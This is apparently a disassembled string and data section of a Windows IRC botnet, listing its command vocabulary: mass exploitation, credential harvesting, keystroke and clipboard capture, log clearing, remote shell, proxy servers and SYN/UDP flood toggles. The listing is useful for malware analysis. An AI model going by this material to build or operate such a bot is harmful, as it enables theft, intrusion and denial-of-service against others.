aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CE55+1A46o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CE55+1A2Fo
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CE55+1A18o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o
align 10h
aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CE55+19EAo
align 4
aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CE55+19D3o
aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CE55+19BCo
align 4
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CE55+19A5o
align 4
aBox_o db 'box.o',0 ; DATA XREF: sub_40CE55+198Eo
align 10h
aBox_open db 'box.open',0 ; DATA XREF: sub_40CE55+1977o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CE55+1960o
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CE55+1949o
align 10h
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CE55+1932o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CE55+191Bo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40CE55+1904o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CE55+18EDo
align 10h
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CE55+18D6o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CE55+18BFo
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CE55+18A8o
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CE55+1891o
aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CE55+187Ao
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CE55+1863o
align 10h
aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CE55+184Co
align 4
aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CE55+1835o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CE55+181Eo
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CE55+1807o
align 4
aVall db 'vall',0 ; DATA XREF: sub_40CE55+17E1o
align 10h
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CE55+17B7o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CE55+17A2o
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CE55+178Do
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CE55+1778o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CE55+1763o
align 10h
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CE55+174Eo
align 10h
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CE55+1739o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CE55+1724o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CE55+170Fo
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CE55+16FAo
align 4
aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CE55+16E5o
align 10h
aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CE55+16D0o
dword_435C8C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+16BFo
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_40CE55+168Bo
; sub_415050+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40CE55+167Eo
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CE55+165Co
align 10h
aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CE55+1643o
aCmd db '[CMD]',0 ; DATA XREF: sub_40CE55+1638o
align 10h
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CE55+1633o
align 10h
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CE55+161Ao
align 10h
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CE55+1605o
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CE55+15F0o
aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CE55+15DBo
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CE55+15C6o
align 10h
aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CE55+15B1o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CE55+159Co
align 4
aBox_up db 'box.up',0 ; DATA XREF: sub_40CE55+1587o
align 10h
aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CE55+1572o
align 4
aBox_key db 'box.key',0 ; DATA XREF: sub_40CE55+155Do
aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CE55+1548o
aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CE55+1533o
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CE55+151Eo
align 4
aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CE55+1509o
aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CE55+14F4o
align 4
aBox_si db 'box.si',0 ; DATA XREF: sub_40CE55+14DFo
align 10h
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CE55+14CAo
aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CE55+14B5o
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CE55+14A0o
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CE55+148Bo
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CE55+1476o
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CE55+1461o
align 4
aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CE55+144Co
aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CE55+1437o
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CE55+1422o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CE55+140Do
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CE55+13F8o
align 4
dword_435E2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+13C4o
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_435E64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+13BDo
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CE55+13A6o
align 10h
aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CE55+1391o
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CE55+137Co
align 10h
aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CE55+1367o
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CE55+1352o
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CE55+133Do
align 10h
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CE55+1328o
align 10h
aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CE55+1313o
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CE55+12FEo
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CE55+12E9o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CE55+12D4o
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CE55+12BFo
aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CE55+12AAo
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CE55+129Fo
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40CE55+129Ao
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CE55+1281o
align 10h
dword_435F40 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40CE55+1276o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CE55+1271o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CE55+1258o
align 4
dword_435F68 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40CE55+124Do
aClone db 'Clone',0 ; DATA XREF: sub_40CE55+1248o
align 10h
aClone_off db 'clone.off',0 ; DATA XREF: sub_40CE55+122Fo
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CE55+121Ao
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CE55+1205o
align 4
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CE55+11F0o
align 4
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo
align 4
dword_435FC8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+11D0o
aServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CE55+11B2o
dword_435FE4 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CE55+11A7o
dword_435FF0 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+11A2o
dword_435FFC dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40CE55+1189o
dword_43600C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CE55+117Eo
dword_436018 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1179o
dword_436024 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1160o
dword_436034 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CE55+1155o
dword_436040 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1150o
dword_43604C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1137o
dword_43605C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+112Co
dword_436068 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+1127o
dword_436074 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+110Eo
dword_436080 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CE55+1103o
dword_436090 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40CE55+10FEo
aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o
dword_4360B4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CE55+10DAo
dword_4360C0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40CE55+10D5o
dword_4360CC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40CE55+10BCo
dword_4360D4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+10B4o
dword_4360E0 dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CE55+1096o
dword_4360F0 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40CE55+108Eo
aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o
align 4
dword_436114 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40CE55+104Eo
aServer db 'Server',0 ; DATA XREF: sub_40CE55+1049o
; sub_40CE55+1089o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o
align 10h
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CE55+101Bo
align 10h
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o
align 4
aLd_off db 'ld.off',0 ; DATA XREF: sub_40CE55+FF1o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CE55+FDCo
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40CE55+FC7o
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CE55+FB2o
aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CE55+F9Do
aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CE55+F88o
aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CE55+F73o
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CE55+F5Eo
align 4
aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CE55+F49o
align 10h
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CE55+F34o
aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CE55+F1Fo
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CE55+F07o
a63 db '63',0 ; DATA XREF: sub_40CE55+DE0o
align 4
asc_4361E4: ; DATA XREF: sub_40CE55+DB8o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40CE55+D7Bo
align 10h
aServer_2 db '$server',0 ; DATA XREF: sub_40CE55+D70o
aRndnick db '$rndnick',0 ; DATA XREF: sub_40CE55+D5Fo
align 4
aChan db '$chan',0 ; DATA XREF: sub_40CE55+D43o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40CE55+D32o
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40CE55+D20o
aD_0 db '$%d',0 ; DATA XREF: sub_40CE55+CB2o
aD_1 db '$%d-',0 ; DATA XREF: sub_40CE55+BF7o
align 4
aHi_0 db 'hi',0 ; DATA XREF: sub_40CE55+B1Fo
align 4
aNewshit db 'newshit',0 ; DATA XREF: sub_40CE55+B07o
dword_436230 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AD5o
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_436274 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AC7o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_4362B8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AB9o
dd 2029206Ch, 2BBBB02h
aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0
dword_436300 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+A4Ao
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40CE55+9B3o
align 4
dword_43633C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+996o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436390 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+978o
; sub_40CE55+4733o
dd 2029206Ch, 2BBBB02h
aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0
dword_4363DC dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40CE55+967o
dd 0A0Dh
dword_4363F4 dd 4E495001h, 47h ; DATA XREF: sub_40CE55+933o
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo
align 4
dword_436418 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40CE55+8D3o
dd 0D017325h, 0Ah
dword_436434 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40CE55+8A2o
dword_436440 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+788o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40CE55+6E5o
align 4
dword_436488 dd 43434401h, 0 ; DATA XREF: sub_40CE55+6C7o
dword_436490 dd 323333h ; DATA XREF: sub_40CE55+64Eo
; sub_40CE55+B41o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_40CE55+62Co
; sub_412D4C+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CE55+620o
; sub_412D4C+16o
dword_4364A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5CFo
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_4364D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A8o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40CE55+571o
aPart db 'PART',0 ; DATA XREF: sub_40CE55+523o
; sub_40CE55+5ECo
align 4
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CE55+4FBo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_40CE55+3CDo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo
; sub_40CE55+610o
dword_436538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+355o
; sub_40CE55+5A5Do ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40CE55+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+28Do
; sub_40CE55+4AEBo ...
align 10h
a433 db '433',0 ; DATA XREF: sub_40CE55+265o
a302 db '302',0 ; DATA XREF: sub_40CE55+22Ao
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o
; sub_40CE55+3B4o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40CE55+1A9o
align 4
asc_4365AC db ' :',0 ; DATA XREF: sub_40CE55+86o
; sub_40CE55:loc_40D9EEo
align 10h
dword_4365B0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B98+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365FC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_412B98+E3o
; ---------------------------------------------------------------------------
loc_436618: ; DATA XREF: sub_412B98+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_43662C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_412B98+13Fo
dword_436640 dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412D4C+58o
off_436650 dd offset aAdd ; DATA XREF: sub_412DE7+6Dr
; sub_4131CB+50r ...
; "Add"
off_436654 dd offset aAdded ; DATA XREF: sub_412DE7+2Dr
; sub_4131CB+82r ...
; "Added"
dword_436658 dd 0 ; DATA XREF: sub_412DE7+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 4366C4h, 4366BCh, 2, 4366B0h, 4366A4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:00436684o
aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00436680o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:00436678o
aStart_0 db 'Start',0 ; DATA XREF: .nsp0:00436674o
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:0043666Co
align 4
aList_0 db 'List',0 ; DATA XREF: .nsp0:00436668o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00436660o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0043665Co
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:off_436654o
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:off_436650o
dword_436718 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_436750 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_43678C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412F10:loc_41301Ao
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412F10:loc_413013o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412F10:loc_41300Co
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412F10:loc_413005o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412F10:loc_412FF7o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412F10:loc_412FF0o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412F10:loc_412FE9o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412F10:loc_412FBEo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412F10:loc_412FB7o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412F10:loc_412FB0o
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412F10:loc_412FA9o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412F10:loc_412F7Eo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412F10:loc_412F74o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412F10:loc_412F6Ao
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412F10:loc_412F56o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0
; DATA XREF: sub_412F10:loc_412F4Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41308E+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41308E:loc_41315Ao
aStarting db ' Starting',0 ; DATA XREF: sub_41308E:loc_413153o
aStoping db ' Stoping',0 ; DATA XREF: sub_41308E:loc_41314Co
aRunning_0 db ' Running',0 ; DATA XREF: sub_41308E:loc_413145o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41308E:loc_41313Eo
aPausing db ' Pausing',0 ; DATA XREF: sub_41308E:loc_413137o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41308E:loc_413130o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_41308E+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41308E+25o
align 4
dword_436CF4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_436D2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_436D5C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4133C0+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4133C0+B5o
dword_436DBC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4133C0+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4133C0+26o
align 10h
dword_436E30 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_436E6C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436EAC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 10h
dword_436EE0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413627+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo
align 10h
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_413627+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_413627+246o
align 10h
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o
align 10h
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_413627+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_413627+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o
aUser_1 db 'User',0 ; DATA XREF: sub_413627:loc_413739o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_413627+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_413627+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_413627+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo
align 4
dword_437098 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139F5+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_5 db ' %S',0 ; DATA XREF: sub_4139F5+BEo
align 10h
dword_4370E0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139F5+7Ao
dd 2029206Ch, 2BBBB02h
